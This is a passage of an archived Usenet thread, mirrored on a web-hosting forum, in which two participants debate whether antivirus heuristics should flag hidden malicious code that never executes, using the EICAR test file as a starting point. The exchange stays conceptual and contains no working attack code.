    > > just do dumb scanning of files any more.

    >
    > But the code is functional. I simply claim for a bit of emulation.


    Keep in mind what the heuristics are trying to detect...it is not
    "does this file contain a virus", but rather "is this file a virus".
    It is not surprising that the heuristics do not get applied in this
    case.

    -frisk

  5. #5
    AMcD
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    frisk@complex.is (Fridrik Skulason) wrote in message news:<fcd2fc13.0306300150.69acdd82@posting.google. com>...
    > arnold.mcdonald@free.fr (AMcD) wrote in message news:<e00a489e.0306291103.683f5d10@posting.google. com>...


    > > But the code is functional. I simply claim for a bit of emulation.

    >
    > Keep in mind what the heuristics are trying to detect...it is not
    > "does this file contain a virus", but rather "is this file a virus".
    > It is not surprising that the heuristics do not get applied in this
    > case.


    I don't agree. What do you want to say? You mean that to be detected
    viruses should only appear "as they should appear"? I don't understand
    why, even bypassed, malicious code should be avoided by AVs. After
    all, even hidden, malicious code is malicious code! I understand that
    to enhance scanning speed we can't perform a full examination of all
    bytes and instructions. Personnally, I find surprising that hidden
    malicious code is not detected. There are a lot of ways to execute
    remote code. It's a potential danger. What about options in AVs to
    check everything in a file ?

    AMcD

  6. #6
    Fridrik Skulason
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    arnold.mcdonald@free.fr (AMcD) wrote in message news:<e00a489e.0306301038.56c2fed5@posting.google. com>...


    > I don't agree. What do you want to say? You mean that to be detected


    > viruses should only appear "as they should appear"?


    No. What I am saying is that code that never will get executed is
    irrelevant, and there is no good reason for AV programs to apply
    heuristics to such code. Moreover, doing so would lead to false
    positives - and that is perhaps the main reason why AV programs may
    try to determine that a file is destructive insead of determining
    whether the file contains destructive code.

    Example:

    The byte sequence "CD 26" might be destructive code, depending on the
    current register values. Should a program trigger on any file
    containing that 2-byte sequence? Of course not.

    > I don't understand


    > why, even bypassed, malicious code should be avoided by AVs. After


    > all, even hidden, malicious code is malicious code!


    Destructive code that does not get executed is nothing mor than a
    sequence of bytes. It is not destructive if it does not get executed.

    -frisk

  7. #7
    AMcD
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    frisk@complex.is (Fridrik Skulason) wrote in message news:<fcd2fc13.0307010114.5c5fb355@posting.google. com>...
    > arnold.mcdonald@free.fr (AMcD) wrote in message news:<e00a489e.0306301038.56c2fed5@posting.google. com>...
    >
    >
    > > I don't agree. What do you want to say? You mean that to be detected

    >
    > > viruses should only appear "as they should appear"?

    >
    > No. What I am saying is that code that never will get executed is
    > irrelevant, and there is no good reason for AV programs to apply
    > heuristics to such code.


    I understand you. But you can't foresee what is inside hackers brain.
    Above all, is there any reason to code instructions that will never be
    executed? No. Someone doing that must have some idea.

    > Moreover, doing so would lead to false
    > positives - and that is perhaps the main reason why AV programs may
    > try to determine that a file is destructive insead of determining
    > whether the file contains destructive code.


    For sure! We should say that is quite impossible to manage. There are
    a lot of cases where determining if code is destructive or not should
    lead to a dead-end.
    I don't even talk about false positives.

    > Example:
    >
    > The byte sequence "CD 26" might be destructive code, depending on the
    > current register values. Should a program trigger on any file
    > containing that 2-byte sequence? Of course not.


    I agree. But in a full paranoid environment an alert could be welcome
    ;o).

    > Destructive code that does not get executed is nothing mor than a
    > sequence of bytes. It is not destructive if it does not get executed.


    No fridrik. Destructive code that does not get executed is not
    destructive... as long as not being executed ;o).

    AMcD

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics